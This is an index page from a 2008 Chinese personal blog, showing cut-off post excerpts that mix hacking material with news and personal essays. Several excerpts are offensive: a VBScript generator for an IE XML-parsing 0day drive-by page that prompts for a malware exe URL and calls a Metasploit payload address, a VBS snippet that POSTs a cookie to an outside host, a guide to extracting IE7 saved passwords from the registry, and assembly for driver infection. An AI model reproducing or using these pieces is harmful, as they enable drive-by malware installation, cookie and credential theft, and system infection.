载入中...
 

载入中...
时 间 记 忆
载入中...
最 新 评 论
载入中...
专 题 分 类
载入中...
最 新 日 志
载入中...
最 新 留 言
载入中...
搜 索
用 户 登 录
载入中...
友 情 连 接
博 客 信 息
载入中...


 
IE7自动完成口令获取
[ 2008-12-23 9:14:00 | By: 冰风 ]
 

 
IE7自动完成口令获取
前一阵子自己邮箱的口令忘记了,为了找回邮箱口令到网上找了好多密码找回的工具,发现在IE7下都不好使,迫于无奈,只好自己研究了,通过Google和OllyDbg,用了1整天时间终于弄清楚了IE7下的自动完成口令获取方法,不敢独享,特公布如下,希望能对大家有帮助。

自Internet Explorer 7.0开始,微软完全改变了密码保存的方式,将网站的URL保存于历史文件中,将自动完成的密码保存于注册表中的以下位置: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2。

要获取IE7的自动完成口令就需要同时获取IE7环境下历史文件夹中的URL记录和注册表HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2下的密码信息。

以下是IE7自动完成口令获取的步骤:


……
 
 
(vista) 0day网马生成器
[ 2008-12-23 9:13:00 | By: 冰风 ]
 

MS Internet Explorer XML Parsing Buffer Overflow Exploit (vista) 0day 网马生成器
'code by lcx

On Error Resume Next
Exeurl = InputBox( "请输入exe的地址:", "输入", "http://www.haiyangtop.net/333.exe" )
url="http://www.metasploit.com:55555/PAYLOADS?
……

 
 
驱动感染技术
[ 2008-12-23 9:12:00 | By: 冰风 ]
 

 
驱动感染技术
1、重定位问题
在汇编里可以很简单的使用下面这种方式来重定位代码或全局数据:
Start:
    call lbl_Next
lbl_Next:
    pop ebx
    sub ebx, 5
    sub ebx, offset Start


……
 
 
VBS发送COOKIES
[ 2008-12-23 9:11:00 | By: 冰风 ]
 
VBS发送COOKIES
1 Cookie = "str=bin;"
2 Set xPost = CreateObject("msxml2.serverXMLHTTP")
3 xPost.open "POST","http://www.rootkit.net.cn/test.asp",False
4 xPost.setRequestHeader "Content-Type","application/x-www-form-urlencoded"
5 xPost.setRequestHeader "Cookie",cookie
6 xPost.send()

……
 
 
关于钓鱼式攻击
[ 2008-12-16 20:33:00 | By: 冰风 ]
 

 有个例子,我也不记得以前说过没有。
  钓鱼式攻击是什么东西呢?其实很简单:
  某人Email给你:给我500块,预知你的未来,可以提前通知你,明天国王跟火箭队的比赛,火箭队会赢!
  你当然不信啦,但是第二天的比赛,火箭队真的赢了,你说:巧合,巧合而已。
  过了几天,他又email给你:给我500快,预知你的未来,可以提前通知你,明天湖人跟火箭队的比赛,湖人赢了。
  你有点好奇,但你是绝对不会把钱给他的,但是第二天的比赛,湖人真赢了,你说:诶?难道是潜规则?
  又过了几天,他又email给你:给我500快,预知你的未来,可以提前通知你,明天湖人跟七六人队的比赛,湖人赢了。
  你开始猜,是不是真的啊?但第二天的比赛,湖人又赢了。
  ......
  经过若干次循环后,你终于想要预知你的未来了。
……

 
 
OneCare:未来不可忽视的安全力量
[ 2008-12-16 20:32:00 | By: 冰风 ]
 

  新闻来源:ChinaByte比特网
  根据AV-Test的最新测试报告, 在最近一次的测试中,有多达24款杀毒软件参加了这次测试,微软的Windows Live OneCare 2.0取得了喜人的成绩.
  据悉,这次测试的病毒样本均选自最近6个月以来所出现的,病毒样本超过100万个.所有测试的版本都是各安全厂商基于2008年1月7日的最新版本,评测平台基于成熟的Windows XP SP2.据介绍,这次测试首先是基于病毒库的病毒样本检测.这些病毒样本选自最近的6个月,包括已知的各种类型的样本,如木马、后门、僵尸程序、蠕虫、病毒等.能检测出98%以上的安全产品评级为“非常优秀”(++),检测病毒样本低于85%的为“差”(--).
  测试结果显示,Windows Live OneCare 2.0检测出的病毒样本数高达992,880个,检测率为96.9%.相比之下,F-Prot检测出986,961个病毒样本,检测率达96.3%;熊猫 --979,409个,95.6%;麦咖啡—959,919个,93.7%;NOD32—953,936个,93.1%.显然,Live OneCare比其他几款安全产品的成绩要好.但Windows Live OneCare 2.0的成绩并非最好,与
  AVK 2008(1,022,418 --99.8%)、
  小红
……

 
 
IE又发现严重漏洞,黑客可利用虚假网站进行诈骗
[ 2008-12-16 20:31:00 | By: 冰风 ]
 
微软公司周二宣布正在就其IE浏览器可能存在的一个漏洞展开调查,这一漏洞可能导致恶意黑客建立虚假网站欺骗用户。
  最先发现这一潜在漏洞的是丹麦的安全研究公司 Secunia,该公司已经在其安全列表上就上述缺陷对用户发布了警告,同时演示了黑客如何利用这一漏洞进行诈骗的全过程。Secunia公司表示已于12月9日将此漏洞报告给了微软。
  恶意黑客经常会吸引网络用户登录一个他们复制的电子商务网站,如eBay这样的知名网站,用户一旦在该网站上提供财务和其他保密信息,这些信息也就泄漏给了黑客。这种诈骗方法据称是当前在线信用卡和身份窃取活动中的一个核心手段。Secunia公司表示,IE的潜在漏洞将使得这种虚假的网站看起来象是一个真正存在的合法网站。  微软公司很快就此事发表了声明,该公司发言人指出:“微软公司正在调查最新报告的IE中可能存在的漏洞,目前我们还没有发现有黑客正在试图利用这一漏洞,也没有收到用户这方面的报告。”微软公司并没有给出解决此问题的时间表,但表示最终可能会发布一个补丁程序来解决缺陷问题。微软建议用户在补丁推出之前可以采用一些暂时的方法解决此问题,包括使用防火墙、升级系统以及安装杀毒软件等。
  此外,微软还指责Secunia公司不应该过早公开上述漏洞,因为Secunia的这种做法使得微软没有足够的时间来发布补丁程序。
……
 
 
人生致命的八个经典问题 
[ 2008-12-13 20:38:00 | By: 冰风 ]
 
问题一:如果你家附近有一家餐厅,东西又贵又难吃,桌上还爬着蟑螂,你会因为它很近很方便,就一而再、再而三地光临吗?

  回答:你一定会说,这是什么烂问题,谁那么笨,花钱买罪受?

  可同样的情况换个场合,自己或许就做类似的蠢事。

  不少男女都曾经抱怨过他们的情人或配偶品性不端,三心二意,不负责任。明知在一起没什么好的结果,怨恨已经比爱还多,但却“不知道为什么”还是要和他搅和下去,分不了手。
……
 
 
我的十年感言 
[ 2008-12-13 20:37:00 | By: 冰风 ]
 

【回忆1998年】
  在这个纷绕的世俗世界里,能够学会用一颗平常的心去对待周围的一切,也是一种境界。
【回忆1999年】
  当眼泪流下来,才知道,分开也是另一种明白。
【回忆2000年】
  商海沉浮寓京华,带著一根烟.浪迹天涯……
【回忆2001年】
  岁月浸染少年头,回家的路上我哭了,眼泪再一次崩溃孓.无能为力这样走着,再也不敢骄傲奢求了。我还能够说些什么,我还能够做些什么?我好希望你会听见, 因为曾经我拼搏过……
【回忆2002年】
  礼佛有幸识高朋  ,脸上的快乐,别人看得到。心里的痛又有谁能感觉到.
【回忆2003年】
  参禅随缘任更漏,有的人与人之间的相遇就像是流星,瞬间迸发出令人羡慕的火花,却注定只是匆匆而过.
【回忆2004年】
  平生肝胆因人热,时间会慢慢沉淀,有些人会在你心底慢慢模糊。学会放手,你的幸福需要自己的成全。
……

 
 
有些人,有些事,有些话,有些爱
[ 2008-12-13 20:37:00 | By: 冰风 ]
 

有些人一直没机会见,等有机会见了,却又犹豫了,相见不如不见。有些事一直没机会做,等有机会了,却不想再做了。

有些话埋藏在心中好久,没机会说,等有机会说的时候,却说不出口了。

有些爱一直没机会爱,等有机会了,已经不爱了。

有些人很多机会相见的,却总找借口推脱,想见的时候已经没机会了。有些话有很多机会说的,却想着以后再说,要说的时候,已经没机会了。

有些事有很多机会做的,却一天一天推迟,想做的时候却发现没机会了。

有些爱给了你很多机会,却不在意没在乎,想重视的时候已经没机会爱了。

人生有时候,总是很讽刺。

一转身可能就是一世。

说好永远的,不知怎么就散了。最后自己想来想去竟然也搞不清当初是什么原因分开彼此的。然后,你忽然醒悟,感情原来是这么脆弱的。经得起风雨,却经不起平凡;风雨同船,天晴便各自散了。也许只是赌气,也许只是因为小小的事。幻想着和好的甜蜜,或重逢时的拥抱,那个时候会是边流泪边捶打对方,还傻笑着。该是多美的画面。

没想到的是,一别竟是一辈子了。

于是,各有各的生活,各自爱着别的人。曾经相爱,现在已互不相干。


……
 
首页 上一页 下一页 尾页 页次:1/33页  10篇日志/页 转到:
Powered by Oblog.